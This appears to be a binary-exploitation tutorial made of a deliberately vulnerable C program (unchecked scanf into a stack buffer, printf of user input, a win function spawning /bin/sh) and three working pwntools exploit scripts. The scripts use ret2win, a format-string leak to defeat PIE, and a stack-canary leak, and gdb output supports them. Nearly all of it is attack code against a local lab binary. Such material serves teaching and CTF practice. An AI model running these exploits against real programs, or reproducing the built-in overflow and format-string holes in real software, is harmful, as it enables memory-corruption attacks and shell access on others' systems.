Binary Exploitation

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() { system("/bin/sh"); }

void vuln() {
    char buf[32];
    printf("> "); scanf("%s", buf);
    printf(buf); printf("\n");
    return;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    while(1) { vuln(); }
    return 0;
}

gcc vuln.c -o vuln -m32 -no-pie -fno-stack-protector

❯ gdb vuln
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/e/vuln
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
Invalid address 0x6161616c
pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

gcc vuln.c -o vuln -no-pie -fno-stack-protector

❯ gdb vuln
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> r
Starting program: /home/e/vuln
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Program received signal SIGSEGV, Segmentation fault.
─────────────[ DISASM / x86-64 / set emulate on ]──────────────
 ► 0x4011ca <vuln+94>    ret                                <0x6161616161616166>
    ↓
pwndbg> cyclic -l 0x6161616161616166
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
❯ ropper --file ./vuln --search "ret"
0x000000000040101a: ret;

#!/usr/bin/env python3
from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]

def fsleak(num=40):
    leaks = {}
    log.info("Leaking stack values:")
    offsets = list(range(0, num))
    for offset in offsets:
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{offset}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x') and leak != b'(nil)':
                addr = int(leak, 16)
                leaks[offset] = addr
            log.info(f"Offset {offset}: {leak.decode()}")
        except Exception:
            pass
    return leaks

def ret2win():
    if elf.elfclass == 64:
        payload = b'\x90'*40 + pack(0x40101a) + pack(elf.symbols['win'])
    else:
        payload = b'\x90'*44 + pack(elf.symbols['win'])  
    log.info("Payload (hex): " + payload.hex())
    gdb.attach(io, gdbscript="c")
    return payload

def main():
    global io
    io = process([exe], env={'LD_PRELOAD': ''})
    fsleak(10)
    io.sendlineafter(b'> ', ret2win())
    io.interactive()

if __name__ == '__main__':
    main()

gcc vuln.c -o vuln -fno-stack-protector

pwndbg> info address main
Symbol "main" is at 0x11e4 in a file compiled without debugging.

pwndbg> x 0x6403f709d1e4
0x6403f709d1e4 <main>:  0xe5894855
pwndbg> info proc mappings
Mapped address spaces:
Start Addr         End Addr           Size       Offset  Perms  objfile
0x6403f709c000     0x6403f709d000     0x1000   0x0     r--p   /home/e/vuln
0x6403f709d000     0x6403f709e000     0x1000 0x1000  r-xp   /home/e/vuln

❯ nm -n vuln | grep " main"
00000000000011e4 T main

#!/usr/bin/env python3
from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'

def fsleak(num=40):
    leaks = {}
    log.info("Leaking stack values:")
    offsets = list(range(0, num))
    for offset in offsets:
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{offset}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x') and leak != b'(nil)':
                addr = int(leak, 16)
                leaks[offset] = addr
            log.info(f"Offset {offset}: {leak.decode()}")
        except Exception:
            pass
    return leaks

if __name__ == '__main__':
    io = process(exe)
    #fsleak()
    io.recvuntil(b'> ')
    if elf.elfclass == 64:
        io.sendline(b'%17$p')
    else:
        io.sendline(b'%29$p')
    main_leak = int(io.recvline().strip(), 16)
    if elf.elfclass == 64:
        elf.address = main_leak - 0x11e4
    else:
        elf.address = main_leak - 0x1244
    log.info(f"Base address: {hex(elf.address)}")
    log.info(f"Win function address: {hex(elf.symbols.win)}")
    ret_gadget = elf.address + 0x101a
    if elf.elfclass == 64:
        payload = b'\x90'*40 + p64(ret_gadget) + p64(elf.symbols.win)
    else:
        payload = b'\x90'*44 + p64(elf.symbols.win)
    gdb.attach(io, gdbscript="c")
    io.sendlineafter(b'> ', payload)
    io.interactive()

gcc vuln.c -o vuln -no-pie && python poc

*** stack smashing detected ***: terminated

#!/usr/bin/env python3
from pwn import *

exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]

def fsleak(num=40):
    leaks = {}
    log.info("Leaking stack values:")
    offsets = list(range(0, num))
    for offset in offsets:
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{offset}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x') and leak != b'(nil)':
                addr = int(leak, 16)
                leaks[offset] = addr
            log.info(f"Offset {offset}: {leak.decode()}")
        except Exception:
            pass
    return leaks

def find_canaries(io, start=1, end=40):
    log.info("Searching for canary pattern on stack...")
    found = []
    for i in range(start, end):
        try:
            io.recvuntil(b'>')
            io.sendline(f'%{i}$p'.encode())
            leak = io.recvline().strip()
            if leak.startswith(b'0x'):
                value = int(leak, 16)
                if value & 0xff == 0:
                    if elf.elfclass == 32 and hex(value).endswith("00"):
                        log.info(f"Potential canary at offset {i}: {hex(value)}")
                        found.append((i, value))
        except:
            continue
    return found

def build_payload(canary):
    win_addr = 0x401176
    ret_addr = 0x40101a
    payload = (b'\x90' * 40 + pack(canary) + pack(0) + pack(ret_addr) + pack(win_addr))
    return payload

def main():
    global io
    try:
        io = process(exe)
        fsleak()
        canaries = find_canaries(io)
        if not canaries:
            log.failure("No potential canaries found!")
            return
        io.close()
        io = process(exe)
        gdb.attach(io, """
            canary --all
            c
        """)
        canary_offset = 11
        io.recvuntil(b'>')
        io.sendline(f'%{canary_offset}$p'.encode())
        canary = int(io.recvline().strip(), 16)
        payload = build_payload(canary)
        io.sendlineafter(b'>', payload)
        io.interactive()
    except Exception as e:
        log.failure(f"Exploit failed: {str(e)}")
        if io:
            io.close()

if __name__ == '__main__':
    main()